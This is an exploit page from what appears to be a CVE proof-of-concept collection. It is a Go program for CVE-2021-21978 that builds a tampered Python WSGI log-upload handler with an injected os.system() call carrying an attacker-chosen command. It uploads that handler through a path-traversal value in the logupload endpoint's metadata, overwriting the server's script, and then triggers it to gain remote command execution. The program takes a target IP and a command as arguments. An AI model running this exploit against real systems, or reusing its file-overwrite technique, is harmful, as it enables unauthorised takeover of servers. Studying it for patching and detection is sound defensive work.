4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-21978.go GO
package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"math/rand"
	"mime/multipart"
	"net/http"
	"strconv"

	//"net/url"
	"os"
	"strings"
)

func makefile(fileName string, cmd string) {

	conntent := fmt.Sprintf(`#! /usr/bin/env python3
import cgi
import os,sys
import logging
import json

os.system('%s')

WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"

class LogFileJson:
	""" Defines format to upload log file in harness

	Arguments:
	itrLogPath : log path provided by harness to store log data
	logFileType : Type of log file defined in api.agentlogFileType
	workloadID [OPTIONAL] : workload id, if log file is workload specific

	"""
	def __init__(self, itrLogPath, logFileType, workloadID = None):
		self.itrLogPath = itrLogPath
		self.logFileType = logFileType
		self.workloadID = workloadID

	def to_json(self):
		return json.dumps(self.__dict__)

	@classmethod
	def from_json(cls, json_str):
		json_dict = json.loads(json_str)
		return cls(**json_dict)

class agentlogFileType():
	""" Defines various log file types to be uploaded by agent

	"""
	WORKLOAD_ZIP_LOG = "workloadLogsZipFile"

try:
	# TO DO: Puth path in some config
	logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
	# In case write permission is not available in log folder.
	pass

logger = logging.getLogger('log_upload_wsgi.py')

def application(environ, start_response):
	logger.debug("application called")

	if environ['REQUEST_METHOD'] == 'POST':
		post = cgi.FieldStorage(
			fp=environ['wsgi.input'],
			environ=environ,
			keep_blank_values=True
		)
		# TO DO: Puth path in some config or read from config is already available
		resultBasePath = "/etc/httpd/html/vpresults"
		try:
			filedata = post["logfile"]
			metaData = post["logMetaData"]

			if metaData.value:
				logFileJson = LogFileJson.from_json(metaData.value)

			if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
				os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))

			if filedata.file:
				if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
					filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
				else:
					filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
				with open(filePath, 'wb') as output_file:
					while True:
						data = filedata.file.read(1024)
						# End of file
						if not data:
							break
						output_file.write(data)

				body = u" File uploaded successfully."
				start_response(
					'200 OK',
					[
						('Content-type', 'text/html; charset=utf8'),
						('Content-Length', str(len(body))),
					]
				)
				return [body.encode('utf8')]

		except Exception as e:
			logger.error("Exception {}".format(str(e)))
			body = u"Exception {}".format(str(e))
	else:
		logger.error("Invalid request")
		body = u"Invalid request"

	start_response(
		'400 fail',
		[
			('Content-type', 'text/html; charset=utf8'),
			('Content-Length', str(len(body))),
		]
	)
	return [body.encode('utf8')]`, cmd)

	f, err := os.Create(fileName)
	defer f.Close()
	if err != nil {
		fmt.Println(err.Error())
	} else {
		_, _ = f.Write([]byte(conntent))
	}
}

func Verify(targetUrl string) string {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}
	resp, err := client.Get(targetUrl)
	if err != nil {
		fmt.Println(err)
	}
	defer resp.Body.Close()
	resp_body, err := ioutil.ReadAll(resp.Body)
	return string(resp_body)
}

//文件上传
func postFile(filename string, targetUrl string) bool {
	//urlProxy, _ := url.Parse("http://127.0.0.1:8080")
	trans := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		//	Proxy:           http.ProxyURL(urlProxy),
	}
	client := &http.Client{Transport: trans}

	bodyBuf := &bytes.Buffer{}
	bodyWriter := multipart.NewWriter(bodyBuf)

	//关键的一步操作
	fileWriter, err := bodyWriter.CreateFormFile("logfile", "")
	if err != nil {
	}

	//打开文件句柄操作
	fh, err := os.Open(filename)
	if err != nil {
		fmt.Println("无法打开文件...END")
	}
	defer fh.Close()

	//iocopy
	_, err = io.Copy(fileWriter, fh)
	if err != nil {
	}

	contentType := bodyWriter.FormDataContentType()
	bodyWriter.Close()

	response, _ := http.NewRequest("POST", targetUrl, bodyBuf)
	response.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36")
	response.Header.Add("Cache-Control", "no-cache")
	response.Header.Add("Pragma", "no-cache")
	response.Header.Add("Content-Type", contentType)

	resp, _ := client.Do(response)
	if err != nil {
	}
	defer resp.Body.Close()
	resp_body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
	}
	if strings.Contains(string(resp_body), "File uploaded successfully.") {
		return true
	} else {
		return false
	}
}

func main() {
	roll := rand.Intn(999999)
	rollcnt := fmt.Sprintf("echo test.%s > /etc/httpd/html/admin/test.txt", strconv.Itoa(roll))

	host := flag.String("h", "", "host")
	cmd := flag.String("c", rollcnt, "cmd")
	flag.Parse()

	if *host == "" {
		fmt.Println("使用: go run CVE-2021-21978.go -h <target ip> -c <cmd>")
		os.Exit(0)
	}

	targetUrl := fmt.Sprintf(`https://%s/logupload?logMetaData={"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py","workloadID":"2"}`, *host)
	getUrl := fmt.Sprintf("https://%s/logupload", *host)
	testUrl := fmt.Sprintf("https://%s/admin/test.txt", *host)
	poc_file := "./log_upload_wsgi.py"

	makefile(poc_file, *cmd)

	fmt.Println("文件上传中...")
	if postFile(poc_file, targetUrl) == true {
		fmt.Println("文件上传成功...")
	} else {
		fmt.Println("文件上传失败...END")
		os.Exit(0)
	}

	fmt.Println("命令触发...")
	Verify(getUrl)
	if *cmd == rollcnt {
		if strings.Contains(Verify(testUrl), fmt.Sprintf("test.%s", strconv.Itoa(roll))) {
			fmt.Println(fmt.Sprintf("上传成功,执行命令成功,已生成新页面 %s", testUrl))
		}
	}
}